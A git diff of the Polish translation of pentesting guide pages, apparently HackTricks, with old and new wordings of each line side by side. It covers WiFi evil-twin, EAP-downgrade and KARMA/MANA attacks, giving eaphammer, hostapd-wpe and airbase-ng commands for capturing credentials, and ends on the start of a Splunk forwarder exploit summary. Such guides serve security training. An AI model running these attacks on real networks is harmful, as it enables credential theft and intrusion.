- **PEAP-MSCHAPv2**: Często określane jako PEAP, łączy podatny mechanizm wyzwania/odpowiedzi MSCHAPv2 z ochronnym tunelem TLS.
- **PEAP-EAP-TLS (lub PEAP-TLS)**: Podobne do EAP-TLS, ale inicjuje tunel TLS przed wymianą certyfikatów, oferując dodatkową warstwę bezpieczeństwa.
Możesz znaleźć więcej informacji na temat tych metod uwierzytelniania [tutaj](https://en.wikipedia.org/wiki/Extensible_Authentication_Protocol) i [tutaj](https://www.intel.com/content/www/us/en/support/articles/000006999/network-and-i-o/wireless-networking.html).
### Przechwytywanie Nazwy Użytkownika
Czytając [https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27), wygląda na to, że jeśli używasz **EAP**, to **wiadomości "Tożsamość"** muszą być **obsługiwane**, a **nazwa użytkownika** będzie wysyłana w **czystym** w **wiadomościach "Odpowiedź Tożsamości"**.
Czytając [https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27), wygląda na to, że jeśli używasz **EAP**, to **"Identity"** **messages** muszą być **obsługiwane**, a **nazwa użytkownika** będzie wysyłana w **czystym** w **"Response Identity"** messages.
Nawet używając jednej z najbezpieczniejszych metod uwierzytelniania: **PEAP-EAP-TLS**, możliwe jest **przechwycenie nazwy użytkownika wysłanej w protokole EAP**. Aby to zrobić, **przechwyć komunikację uwierzytelniającą** (uruchom `airodump-ng` w kanale i `wireshark` na tym samym interfejsie) i filtruj pakiety według `eapol`.\
Wewnątrz pakietu "**Odpowiedź, Tożsamość**" pojawi się **nazwa użytkownika** klienta.
Nawet używając jednej z najbezpieczniejszych metod uwierzytelniania: **PEAP-EAP-TLS**, możliwe jest **przechwycenie nazwy użytkownika wysłanej w protokole EAP**. Aby to zrobić, **przechwyć komunikację uwierzytelniającą** (uruchom `airodump-ng` w obrębie kanału i `wireshark` na tym samym interfejsie) i filtruj pakiety według `eapol`.\
Wewnątrz pakietu "**Response, Identity**" pojawi się **nazwa użytkownika** klienta.
![](<../../images/image (850).png>)
@ -373,17 +373,17 @@ Wewnątrz pakietu "**Odpowiedź, Tożsamość**" pojawi się **nazwa użytkownik
Ukrywanie tożsamości jest obsługiwane zarówno przez EAP-PEAP, jak i EAP-TTLS. W kontekście sieci WiFi, żądanie EAP-Identity jest zazwyczaj inicjowane przez punkt dostępowy (AP) podczas procesu asocjacji. Aby zapewnić ochronę anonimowości użytkownika, odpowiedź od klienta EAP na urządzeniu użytkownika zawiera tylko niezbędne informacje wymagane do przetworzenia żądania przez początkowy serwer RADIUS. Koncepcja ta jest ilustrowana przez następujące scenariusze:
- EAP-Identity = anonimowy
- W tym scenariuszu wszyscy użytkownicy używają pseudonimowego "anonimowy" jako swojego identyfikatora użytkownika. Początkowy serwer RADIUS działa jako serwer EAP-PEAP lub EAP-TTLS, odpowiedzialny za zarządzanie stroną serwera protokołu PEAP lub TTLS. Wewnętrzna (chroniona) metoda uwierzytelniania jest następnie obsługiwana lokalnie lub delegowana do zdalnego (domowego) serwera RADIUS.
- EAP-Identity = anonimowy@realm_x
- EAP-Identity = anonymous
- W tym scenariuszu wszyscy użytkownicy używają pseudonimowego "anonymous" jako swojego identyfikatora użytkownika. Początkowy serwer RADIUS działa jako serwer EAP-PEAP lub EAP-TTLS, odpowiedzialny za zarządzanie stroną serwera protokołu PEAP lub TTLS. Wewnętrzna (chroniona) metoda uwierzytelniania jest następnie obsługiwana lokalnie lub delegowana do zdalnego (domowego) serwera RADIUS.
- EAP-Identity = anonymous@realm_x
- W tej sytuacji użytkownicy z różnych realmów ukrywają swoje tożsamości, jednocześnie wskazując swoje odpowiednie realm. Umożliwia to początkowemu serwerowi RADIUS proxy żądania EAP-PEAP lub EAP-TTLS do serwerów RADIUS w ich domowych realmach, które działają jako serwer PEAP lub TTLS. Początkowy serwer RADIUS działa wyłącznie jako węzeł przekaźnikowy RADIUS.
- Alternatywnie, początkowy serwer RADIUS może działać jako serwer EAP-PEAP lub EAP-TTLS i albo obsługiwać chronioną metodę uwierzytelniania, albo przekazywać ją do innego serwera. Ta opcja ułatwia konfigurację odmiennych polityk dla różnych realmów.
W EAP-PEAP, po nawiązaniu tunelu TLS między serwerem PEAP a klientem PEAP, serwer PEAP inicjuje żądanie EAP-Identity i przesyła je przez tunel TLS. Klient odpowiada na to drugie żądanie EAP-Identity, wysyłając odpowiedź EAP-Identity zawierającą prawdziwą tożsamość użytkownika przez zaszyfrowany tunel. To podejście skutecznie zapobiega ujawnieniu rzeczywistej tożsamości użytkownika komukolwiek podsłuchującemu ruch 802.11.
W EAP-PEAP, po nawiązaniu tunelu TLS między serwerem PEAP a klientem PEAP, serwer PEAP inicjuje żądanie EAP-Identity i przesyła je przez tunel TLS. Klient odpowiada na to drugie żądanie EAP-Identity, wysyłając odpowiedź EAP-Identity zawierającą prawdziwą tożsamość użytkownika przez zaszyfrowany tunel. To podejście skutecznie zapobiega ujawnieniu prawdziwej tożsamości użytkownika komukolwiek podsłuchującemu ruch 802.11.
EAP-TTLS postępuje nieco inną procedurą. W przypadku EAP-TTLS klient zazwyczaj uwierzytelnia się za pomocą PAP lub CHAP, zabezpieczonych przez tunel TLS. W tym przypadku klient dołącza atrybut User-Name oraz atrybut Password lub CHAP-Password w początkowej wiadomości TLS wysyłanej po nawiązaniu tunelu.
Bez względu na wybrany protokół, serwer PEAP/TTLS uzyskuje wiedzę o prawdziwej tożsamości użytkownika po nawiązaniu tunelu TLS. Prawdziwa tożsamość może być reprezentowana jako user@realm lub po prostu user. Jeśli serwer PEAP/TTLS jest również odpowiedzialny za uwierzytelnienie użytkownika, teraz posiada tożsamość użytkownika i kontynuuje metodę uwierzytelniania chronioną przez tunel TLS. Alternatywnie, serwer PEAP/TTLS może przekazać nowe żądanie RADIUS do domowego serwera RADIUS użytkownika. To nowe żądanie RADIUS pomija warstwę protokołu PEAP lub TTLS. W przypadkach, gdy chroniona metoda uwierzytelniania to EAP, wewnętrzne wiadomości EAP są przesyłane do domowego serwera RADIUS bez opakowania EAP-PEAP lub EAP-TTLS. Atrybut User-Name w wychodzącej wiadomości RADIUS zawiera prawdziwą tożsamość użytkownika, zastępując anonimowy User-Name z przychodzącego żądania RADIUS. Gdy chroniona metoda uwierzytelniania to PAP lub CHAP (obsługiwane tylko przez TTLS), atrybut User-Name i inne atrybuty uwierzytelniające wyodrębnione z ładunku TLS są zastępowane w wychodzącej wiadomości RADIUS, zastępując anonimowy User-Name i atrybuty TTLS EAP-Message znajdujące się w przychodzącym żądaniu RADIUS.
Bez względu na wybrany protokół, serwer PEAP/TTLS uzyskuje wiedzę o prawdziwej tożsamości użytkownika po nawiązaniu tunelu TLS. Prawdziwa tożsamość może być reprezentowana jako user@realm lub po prostu user. Jeśli serwer PEAP/TTLS jest również odpowiedzialny za uwierzytelnienie użytkownika, teraz posiada tożsamość użytkownika i kontynuuje metodę uwierzytelniania chronioną przez tunel TLS. Alternatywnie, serwer PEAP/TTLS może przekazać nowe żądanie RADIUS do domowego serwera RADIUS użytkownika. To nowe żądanie RADIUS pomija warstwę protokołu PEAP lub TTLS. W przypadkach, gdy chroniona metoda uwierzytelniania to EAP, wewnętrzne wiadomości EAP są przesyłane do domowego serwera RADIUS bez opakowania EAP-PEAP lub EAP-TTLS. Atrybut User-Name w wychodzącej wiadomości RADIUS zawiera prawdziwą tożsamość użytkownika, zastępując anonimową nazwę użytkownika z przychodzącego żądania RADIUS. Gdy chroniona metoda uwierzytelniania to PAP lub CHAP (obsługiwane tylko przez TTLS), atrybut User-Name i inne atrybuty uwierzytelniające wyodrębnione z ładunku TLS są zastępowane w wychodzącej wiadomości RADIUS, zastępując anonimową nazwę użytkownika oraz atrybuty TTLS EAP-Message znajdujące się w przychodzącym żądaniu RADIUS.
Aby uzyskać więcej informacji, sprawdź [https://www.interlinknetworks.com/app_notes/eap-peap.htm](https://www.interlinknetworks.com/app_notes/eap-peap.htm)
@ -418,13 +418,13 @@ Możesz również przeprowadzić ten atak za pomocą `eaphammer`:
- AP okresowo nadają ramki beacon, ogłaszając swoją obecność i cechy, w tym ESSID AP, chyba że nadawanie jest wyłączone.
- Podczas pasywnego skanowania stacje nasłuchują ramek beacon. Jeśli ESSID beacona pasuje do wpisu w PNL stacji, stacja może automatycznie połączyć się z tym AP.
- Znajomość PNL urządzenia pozwala na potencjalne wykorzystanie poprzez naśladowanie ESSID znanej sieci, oszukując urządzenie, aby połączyło się z fałszywym AP.
- Znajomość PNL urządzenia pozwala na potencjalne wykorzystanie poprzez naśladowanie ESSID znanej sieci, oszukując urządzenie, aby połączyło się z nieautoryzowanym AP.
### Aktywne sondowanie
- Aktywne sondowanie polega na wysyłaniu przez stacje żądań sondowania w celu odkrycia pobliskich AP i ich cech.
- Ukierunkowane żądania sondowania celują w konkretny ESSID, pomagając wykryć, czy dana sieć jest w zasięgu, nawet jeśli jest ukryta.
- Żądania sondowania rozgłoszeniowego mają pustą pole SSID i są wysyłane do wszystkich pobliskich AP, pozwalając stacji sprawdzić, czy istnieje jakaś preferowana sieć, nie ujawniając zawartości swojej PNL.
- Żądania sondowania rozgłoszeniowego mają pustą sekcję SSID i są wysyłane do wszystkich pobliskich AP, pozwalając stacji sprawdzić, czy istnieje jakaś preferowana sieć bez ujawniania zawartości swojej PNL.
## Prosty AP z przekierowaniem do Internetu
@ -494,7 +494,7 @@ echo 1 > /proc/sys/net/ipv4/ip_forward
```
## Evil Twin
Atak evil twin wykorzystuje sposób, w jaki klienci WiFi rozpoznają sieci, polegając głównie na nazwie sieci (ESSID) bez konieczności uwierzytelniania stacji bazowej (punktu dostępowego) wobec klienta. Kluczowe punkty to:
Atak evil twin wykorzystuje sposób, w jaki klienci WiFi rozpoznają sieci, polegając głównie na nazwie sieci (ESSID) bez konieczności uwierzytelniania stacji bazowej (punktu dostępowego) dla klienta. Kluczowe punkty to:
- **Trudności w rozróżnieniu**: Urządzenia mają trudności z odróżnieniem legalnych punktów dostępowych od nieautoryzowanych, gdy dzielą tę samą ESSID i typ szyfrowania. Rzeczywiste sieci często używają wielu punktów dostępowych z tą samą ESSID, aby płynnie rozszerzyć zasięg.
- **Roaming klientów i manipulacja połączeniem**: Protokół 802.11 pozwala urządzeniom na roaming między punktami dostępowymi w tej samej ESS. Atakujący mogą to wykorzystać, kusząc urządzenie do rozłączenia się z aktualną stacją bazową i połączenia z nieautoryzowaną. Można to osiągnąć, oferując silniejszy sygnał lub zakłócając połączenie z legalnym punktem dostępowym za pomocą metod takich jak pakiety deautoryzacji lub zakłócanie.
@ -504,7 +504,7 @@ Możesz stworzyć bardzo podstawowy Open Evil Twin (bez możliwości routowania
```bash
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
```
Możesz również stworzyć Evil Twin za pomocą **eaphammer** (zauważ, że aby stworzyć evil twins za pomocą eaphammer, interfejs **NIE powinien być** w trybie **monitor**):
Możesz również stworzyć Evil Twin używając **eaphammer** (zauważ, że aby stworzyć evil twins z eaphammer interfejs **NIE powinien być** w trybie **monitor**):
```bash
./eaphammer -i wlan0 --essid exampleCorp --captive-portal
```
@ -512,9 +512,9 @@ Lub używając Airgeddon: `Options: 5,6,7,8,9 (w menu ataku Evil Twin).`
![](<../../images/image (1088).png>)
Proszę zauważyć, że domyślnie, jeśli ESSID w PNL jest zapisany jako chroniony WPA, urządzenie nie połączy się automatycznie z otwartym evil Twin. Możesz spróbować DoS prawdziwego AP i mieć nadzieję, że użytkownik połączy się ręcznie z twoim otwartym evil twin, lub możesz DoS prawdziwego AP i użyć WPA Evil Twin, aby przechwycić handshake (używając tej metody nie będziesz w stanie pozwolić ofierze połączyć się z tobą, ponieważ nie znasz PSK, ale możesz przechwycić handshake i spróbować go złamać).
Proszę zauważyć, że domyślnie, jeśli ESSID w PNL jest zapisany jako chroniony WPA, urządzenie nie połączy się automatycznie z otwartym evil Twin. Możesz spróbować DoSować prawdziwy AP i mieć nadzieję, że użytkownik połączy się ręcznie z twoim otwartym evil twin, lub możesz DoSować prawdziwy AP i użyć WPA Evil Twin, aby przechwycić handshake (używając tej metody nie będziesz w stanie pozwolić ofierze połączyć się z tobą, ponieważ nie znasz PSK, ale możesz przechwycić handshake i spróbować go złamać).
_Niektóre systemy operacyjne i oprogramowanie antywirusowe będą ostrzegać użytkownika, że połączenie z otwartą siecią jest niebezpieczne..._
_Niektóre systemy operacyjne i oprogramowanie antywirusowe ostrzegą użytkownika, że połączenie z otwartą siecią jest niebezpieczne..._
### WPA/WPA2 Evil Twin
@ -533,7 +533,7 @@ Aby zrozumieć te ataki, zalecałbym przeczytanie wcześniej krótkiego [wyjaśn
./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s
```
W pliku konfiguracyjnym możesz wybrać wiele różnych rzeczy, takich jak ssid, kanał, pliki użytkowników, cret/key, parametry dh, wersja wpa i auth...
W pliku konfiguracyjnym możesz wybrać wiele różnych rzeczy, takich jak ssid, kanał, pliki użytkowników, cret/key, parametry dh, wersja wpa i autoryzacja...
[**Używanie hostapd-wpe z EAP-TLS, aby umożliwić logowanie za pomocą dowolnego certyfikatu.**](evil-twin-eap-tls.md)
@ -545,7 +545,7 @@ W pliku konfiguracyjnym możesz wybrać wiele różnych rzeczy, takich jak ssid,
# Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds
```
Domyślnie, EAPHammer proponuje te metody uwierzytelniania (zauważ GTC jako pierwszą do próby uzyskania haseł w postaci czystego tekstu, a następnie użycie bardziej solidnych metod uwierzytelniania):
Domyślnie, EAPHammer proponuje te metody uwierzytelniania (zauważ GTC jako pierwszą, aby spróbować uzyskać hasła w postaci czystego tekstu, a następnie użycie bardziej solidnych metod uwierzytelniania):
```
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
```
@ -553,22 +553,52 @@ To jest domyślna metodologia, aby uniknąć długich czasów połączenia. Moż
```
--negotiate weakest
```
Lub możesz również użyć:
Or you could also use:
- `--negotiate gtc-downgrade`, aby użyć wysoce wydajnej implementacji GTC downgrade (hasła w postaci czystego tekstu)
- `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP`, aby ręcznie określić oferowane metody (oferowanie tych samych metod uwierzytelniania w tej samej kolejności, co organizacja, znacznie utrudni wykrycie ataku).
- `--negotiate gtc-downgrade` aby użyć wysoce wydajnej implementacji GTC downgrade (hasła w postaci czystego tekstu)
- `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP` aby ręcznie określić oferowane metody (oferowanie tych samych metod autoryzacji w tej samej kolejności, co organizacja, znacznie utrudni wykrycie ataku).
- [Find more info in the wiki](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
**Używanie Airgeddon**
**Using Airgeddon**
`Airgeddon` może używać wcześniej wygenerowanych certyfikatów do oferowania uwierzytelniania EAP w sieciach WPA/WPA2-Enterprise. Fałszywa sieć obniży protokół połączenia do EAP-MD5, aby móc **przechwycić użytkownika i MD5 hasła**. Później atakujący może spróbować złamać hasło.\
`Airgeddon` może używać wcześniej wygenerowanych certyfikatów do oferowania autoryzacji EAP w sieciach WPA/WPA2-Enterprise. Fałszywa sieć obniży protokół połączenia do EAP-MD5, aby móc **przechwycić użytkownika i MD5 hasła**. Później atakujący może spróbować złamać hasło.\
`Airgeddon` oferuje możliwość **ciągłego ataku Evil Twin (hałaśliwego)** lub **tylko stworzenia ataku Evil do momentu, gdy ktoś się połączy (cichego).**
![](<../../images/image (936).png>)
### Debugowanie tuneli TLS PEAP i EAP-TTLS w atakach Evil Twins
### Debugging PEAP and EAP-TTLS TLS tunnels in Evil Twins attacks
_Ta metoda
_Ta metoda była testowana w połączeniu PEAP, ale ponieważ odszyfrowuję dowolny tunel TLS, powinna również działać z EAP-TTLS._
W **konfiguracji** _hostapd-wpe_ **zakomentuj** linię, która zawiera _**dh_file**_ (z `dh_file=/etc/hostapd-wpe/certs/dh` na `#dh_file=/etc/hostapd-wpe/certs/dh`)\
To spowoduje, że `hostapd-wpe` będzie **wymieniać klucze za pomocą RSA** zamiast DH, dzięki czemu będziesz mógł **odszyfrować** ruch później **znając prywatny klucz serwera**.
Teraz uruchom **Evil Twin** używając **`hostapd-wpe`** z tą zmodyfikowaną konfiguracją jak zwykle. Uruchom również **`wireshark`** w **interfejsie**, który przeprowadza atak Evil Twin.
Teraz lub później (gdy już przechwyciłeś kilka prób autoryzacji) możesz dodać prywatny klucz RSA do wireshark w: `Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...`
Dodaj nowy wpis i wypełnij formularz tymi wartościami: **IP address = any** -- **Port = 0** -- **Protocol = data** -- **Key File** (**wybierz swój plik klucza**, aby uniknąć problemów, wybierz plik klucza **bez ochrony hasłem**).
![](<../../images/image (687).png>)
I spójrz na nową **zakładkę "Decrypted TLS"**:
![](<../../images/image (231).png>)
## KARMA, MANA, Loud MANA and Known beacons attack
### ESSID and MAC black/whitelists
Różne typy list filtrów dostępu do mediów (MFACLs) oraz ich odpowiadające tryby i efekty na zachowanie fałszywego punktu dostępu (AP):
1. **MAC-based Whitelist**:
- Fałszywy AP będzie odpowiadał tylko na zapytania probe od urządzeń określonych na liście dozwolonej, pozostając niewidoczny dla wszystkich innych, które nie są wymienione.
2. **MAC-based Blacklist**:
- Fałszywy AP zignoruje zapytania probe od urządzeń na czarnej liście, skutecznie czyniąc fałszywy AP niewidocznym dla tych konkretnych urządzeń.
3. **SSID-based Whitelist**:
- Fałszywy AP będzie odpowiadał na zapytania probe tylko dla określonych ESSID-ów wymienionych na liście dozwolonej, czyniąc go niewidocznym dla urządzeń, których preferowane listy sieci (PNL) nie zawierają tych ESSID-ów.
4. **SSID-based Blacklist**:
- Fałszywy AP nie będzie odpowiadał na zapytania probe dla konkretnych ESSID-ów na czarnej liście, czyniąc go niewidocznym dla urządzeń poszukujących tych konkretnych sieci.
```bash
# example EAPHammer MFACL file, wildcards can be used
09:6a:06:c8:36:af
@ -590,33 +620,33 @@ name3
```
### KARMA
Ta metoda pozwala **atakującemu na stworzenie złośliwego punktu dostępowego (AP), który odpowiada na wszystkie zapytania probe** od urządzeń próbujących połączyć się z sieciami. Ta technika **oszukuje urządzenia, zmuszając je do połączenia się z AP atakującego** poprzez naśladowanie sieci, których urządzenia szukają. Gdy urządzenie wysyła żądanie połączenia do tego fałszywego AP, nawiązuje połączenie, co prowadzi do błędnego połączenia urządzenia z siecią atakującego.
Ta metoda pozwala **atakującemu na stworzenie złośliwego punktu dostępowego (AP), który odpowiada na wszystkie zapytania probe** od urządzeń próbujących połączyć się z sieciami. Ta technika **oszukuje urządzenia, zmuszając je do połączenia się z AP atakującego** poprzez naśladowanie sieci, których urządzenia szukają. Gdy urządzenie wysyła żądanie połączenia do tego nieuczciwego AP, nawiązuje połączenie, co prowadzi do błędnego połączenia urządzenia z siecią atakującego.
### MANA
Następnie **urządzenia zaczęły ignorować niezamówione odpowiedzi sieciowe**, co zmniejszyło skuteczność pierwotnego ataku karma. Jednak nowa metoda, znana jako **atak MANA**, została wprowadzona przez Iana de Villiersa i Dominica White'a. Metoda ta polega na tym, że fałszywy AP **przechwytuje listy preferowanych sieci (PNL) z urządzeń, odpowiadając na ich rozgłoszone zapytania probe** nazwami sieci (SSID), które wcześniej były poszukiwane przez urządzenia. Ten zaawansowany atak omija zabezpieczenia przed pierwotnym atakiem karma, wykorzystując sposób, w jaki urządzenia zapamiętują i priorytetyzują znane sieci.
Następnie **urządzenia zaczęły ignorować niesolidne odpowiedzi sieciowe**, co zmniejszyło skuteczność pierwotnego ataku karma. Jednak nowa metoda, znana jako **atak MANA**, została wprowadzona przez Iana de Villiersa i Dominica White'a. Metoda ta polega na tym, że nieuczciwy AP **przechwytuje Listy Preferowanych Sieci (PNL) z urządzeń, odpowiadając na ich rozgłosowe zapytania probe** nazwami sieci (SSID), które wcześniej były solidne dla tych urządzeń. Ten zaawansowany atak omija zabezpieczenia przed pierwotnym atakiem karma, wykorzystując sposób, w jaki urządzenia zapamiętują i priorytetyzują znane sieci.
Atak MANA działa, monitorując zarówno skierowane, jak i rozgłoszone zapytania probe z urządzeń. W przypadku skierowanych zapytań rejestruje adres MAC urządzenia oraz żądaną nazwę sieci, dodając te informacje do listy. Gdy otrzymane zostanie zapytanie rozgłoszone, AP odpowiada informacjami odpowiadającymi któremukolwiek z sieci na liście urządzenia, zachęcając urządzenie do połączenia się z fałszywym AP.
Atak MANA działa, monitorując zarówno skierowane, jak i rozgłosowe zapytania probe z urządzeń. W przypadku skierowanych zapytań rejestruje adres MAC urządzenia oraz żądaną nazwę sieci, dodając te informacje do listy. Gdy otrzymane zostanie zapytanie rozgłosowe, AP odpowiada informacjami odpowiadającymi któremukolwiek z sieci na liście urządzenia, zachęcając urządzenie do połączenia się z nieuczciwym AP.
```bash
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
```
### Loud MANA
Atak **Loud MANA** to zaawansowana strategia, gdy urządzenia nie używają kierunkowego przeszukiwania lub gdy ich Preferowane Listy Sieci (PNL) są nieznane atakującemu. Działa na zasadzie, że **urządzenia w tym samym obszarze prawdopodobnie dzielą niektóre nazwy sieci w swoich PNL**. Zamiast odpowiadać selektywnie, ten atak nadaje odpowiedzi na zapytania dla każdej nazwy sieci (ESSID) znalezionej w połączonych PNL wszystkich obserwowanych urządzeń. To szerokie podejście zwiększa szansę, że urządzenie rozpozna znajomą sieć i spróbuje połączyć się z nieautoryzowanym Punktem Dostępowym (AP).
Atak **Loud MANA** to zaawansowana strategia, gdy urządzenia nie używają kierunkowego przeszukiwania lub gdy ich Lista Preferowanych Sieci (PNL) jest nieznana atakującemu. Działa na zasadzie, że **urządzenia w tym samym obszarze prawdopodobnie dzielą niektóre nazwy sieci w swoich PNL**. Zamiast odpowiadać selektywnie, ten atak nadaje odpowiedzi na zapytania dla każdej nazwy sieci (ESSID) znalezionej w połączonych PNL wszystkich obserwowanych urządzeń. To szerokie podejście zwiększa szansę, że urządzenie rozpozna znajomą sieć i spróbuje połączyć się z nieautoryzowanym punktem dostępowym (AP).
```bash
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
```
### Atak znanych beaconów
### Atak Znanych Beaconów
Gdy **atak Loud MANA** może nie wystarczyć, **atak znanych beaconów** przedstawia inne podejście. Ta metoda **brute-forces proces połączenia, symulując AP, który odpowiada na dowolną nazwę sieci, przechodząc przez listę potencjalnych ESSID-ów** pochodzących z listy słów. To symuluje obecność licznych sieci, mając nadzieję na dopasowanie ESSID-u w PNL ofiary, co skłania do próby połączenia z fałszywym AP. Atak można wzmocnić, łącząc go z opcją `--loud`, aby uzyskać bardziej agresywną próbę przechwycenia urządzeń.
Gdy **atak Loud MANA** może być niewystarczający, **atak Znanych Beaconów** przedstawia inne podejście. Ta metoda **brute-forces proces połączenia, symulując AP, który odpowiada na dowolną nazwę sieci, przechodząc przez listę potencjalnych ESSID-ów** pochodzących z listy słów. To symuluje obecność licznych sieci, mając nadzieję na dopasowanie ESSID-u w PNL ofiary, co skłania do próby połączenia z fałszywym AP. Atak można wzmocnić, łącząc go z opcją `--loud`, aby uzyskać bardziej agresywną próbę przechwycenia urządzeń.
Eaphammer zaimplementował ten atak jako atak MANA, w którym wszystkie ESSID-y w liście są ładowane (możesz również połączyć to z `--loud`, aby stworzyć atak Loud MANA + znane beacony):
Eaphammer zaimplementował ten atak jako atak MANA, w którym wszystkie ESSID-y z listy są ładowane (możesz również połączyć to z `--loud`, aby stworzyć atak Loud MANA + Znane beacony):
```bash
./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
```
**Atak znanego wybuchu sygnału**
**Atak Znanych Beacon Burst**
Atak **znanego wybuchu sygnału** polega na **szybkim nadawaniu ramek sygnałowych dla każdego ESSID wymienionego w pliku**. Tworzy to gęste środowisko fałszywych sieci, znacznie zwiększając prawdopodobieństwo, że urządzenia połączą się z nieautoryzowanym punktem dostępowym, szczególnie w połączeniu z atakiem MANA. Technika ta wykorzystuje szybkość i objętość, aby przytłoczyć mechanizmy wyboru sieci urządzeń.
Atak **Znanych Beacon Burst** polega na **szybkim nadawaniu ramek beacon dla każdego ESSID wymienionego w pliku**. Tworzy to gęste środowisko fałszywych sieci, znacznie zwiększając prawdopodobieństwo, że urządzenia połączą się z nieautoryzowanym AP, szczególnie w połączeniu z atakiem MANA. Technika ta wykorzystuje szybkość i objętość, aby przytłoczyć mechanizmy wyboru sieci urządzeń.
```bash
# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \
@ -629,7 +659,7 @@ Atak **znanego wybuchu sygnału** polega na **szybkim nadawaniu ramek sygnałowy
**Wi-Fi Direct** to protokół umożliwiający urządzeniom bezpośrednie łączenie się ze sobą za pomocą Wi-Fi bez potrzeby tradycyjnego punktu dostępowego. Ta funkcjonalność jest zintegrowana w różnych urządzeniach Internetu Rzeczy (IoT), takich jak drukarki i telewizory, ułatwiając bezpośrednią komunikację między urządzeniami. Ciekawą cechą Wi-Fi Direct jest to, że jedno urządzenie pełni rolę punktu dostępowego, znanego jako właściciel grupy, aby zarządzać połączeniem.
Bezpieczeństwo połączeń Wi-Fi Direct jest ustanawiane za pomocą **Wi-Fi Protected Setup (WPS)**, które wspiera kilka metod bezpiecznego parowania, w tym:
Bezpieczeństwo połączeń Wi-Fi Direct jest ustanawiane za pomocą **Wi-Fi Protected Setup (WPS)**, który wspiera kilka metod bezpiecznego parowania, w tym:
- **Push-Button Configuration (PBC)**
- **PIN entry**
@ -654,6 +684,6 @@ Metody te, szczególnie wprowadzenie PIN-u, są podatne na te same luki, co WPS
- [https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)](<https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)>)
- [https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/)
TODO: Take a look to [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) (login con facebook e imitacionde WPA en captive portals)
TODO: Sprawdź [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) (logowanie przez facebooka i imitacja WPA w portalach przechwytujących)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,23 +2,23 @@
{{#include ../../banners/hacktricks-training.md}}
Jeśli **enumerując** maszynę **wewnętrznie** lub **zewnętrznie** znajdziesz **uruchomiony Splunk** (port 8090), jeśli masz szczęście i znasz jakieś **ważne dane logowania**, możesz **wykorzystać usługę Splunk** do **wykonania powłoki** jako użytkownik uruchamiający Splunk. Jeśli uruchamia go root, możesz podnieść uprawnienia do roota.
Jeśli **enumerując** maszynę **wewnętrznie** lub **zewnętrznie** znajdziesz **uruchomiony Splunk** (port 8090), a jeśli masz szczęście i znasz jakieś **ważne dane logowania**, możesz **wykorzystać usługę Splunk** do **wykonania powłoki** jako użytkownik uruchamiający Splunk. Jeśli uruchamia go root, możesz podnieść uprawnienia do roota.
Jeśli jesteś **już rootem i usługa Splunk nie nasłuchuje tylko na localhost**, możesz **ukraść** plik **hasła** **z** usługi Splunk i **złamać** hasła lub **dodać nowe** dane logowania. I utrzymać trwałość na hoście.
Na pierwszym obrazku poniżej możesz zobaczyć, jak wygląda strona internetowa Splunkd.
Na pierwszym obrazie poniżej możesz zobaczyć, jak wygląda strona internetowa Splunkd.
## Podsumowanie Eksploatacji Agenta Splunk Universal Forwarder
Aby uzyskać więcej szczegółów, sprawdź post [https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/). To tylko podsumowanie:
**Przegląd Eksploatacji:**
Eksploatacja celująca w Agenta Splunk Universal Forwarder (UF) pozwala atakującym z hasłem agenta na wykonywanie dowolnego kodu na systemach uruchamiających agenta, co może zagrozić całej sieci.
Eksploatacja celująca w Agenta Splunk Universal Forwarder (UF) pozwala atakującym z hasłem agenta na wykonywanie dowolnego kodu na systemach uruchamiających agenta, co potencjalnie może skompromitować całą sieć.
**Kluczowe Punkty:**
- Agent UF nie weryfikuje przychodzących połączeń ani autentyczności kodu, co czyni go podatnym na nieautoryzowane wykonanie kodu.
- Powszechne metody pozyskiwania haseł obejmują ich lokalizowanie w katalogach sieciowych, udostępnionych plikach lub dokumentacji wewnętrznej.
- Powszechne metody pozyskiwania haseł obejmują ich lokalizację w katalogach sieciowych, udostępnionych plikach lub dokumentacji wewnętrznej.
- Udana eksploatacja może prowadzić do dostępu na poziomie SYSTEM lub roota na skompromitowanych hostach, wycieków danych i dalszej infiltracji sieci.
**Wykonanie Eksploatacji:**
@ -29,8 +29,8 @@ Eksploatacja celująca w Agenta Splunk Universal Forwarder (UF) pozwala atakują
**Wpływ:**
- Pełna kompromitacja sieci z uprawnieniami SYSTEM/root na każdym hoście.
- Potencjał do wyłączenia logowania w celu uniknięcia wykrycia.
- Pełna kompromitacja sieci z uprawnieniami na poziomie SYSTEM/root na każdym hoście.
- Potencjalna możliwość wyłączenia logowania w celu uniknięcia wykrycia.
- Instalacja backdoorów lub ransomware.
**Przykładowe Polecenie do Eksploatacji:**
